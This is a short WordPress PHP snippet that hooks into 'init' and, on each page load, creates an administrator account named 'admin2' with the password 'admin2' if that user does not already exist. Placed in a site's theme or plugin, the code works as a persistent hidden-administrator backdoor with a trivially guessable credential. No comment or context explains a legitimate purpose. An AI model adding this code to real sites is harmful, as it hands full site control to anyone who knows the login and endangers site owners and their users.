function alisaleem252_create_admin(){
	$username = 'admin2';
	$password = 'admin2';
	$email = 'youremail@domain.com';
	if(!username_exists($username) && !email_exists($email)){
		$userid = wp_create_user($username,$password,$email);
		$user = new WP_User($userid);
		$user->set_role('administrator');
	}
}
add_action('init','alisaleem252_create_admin');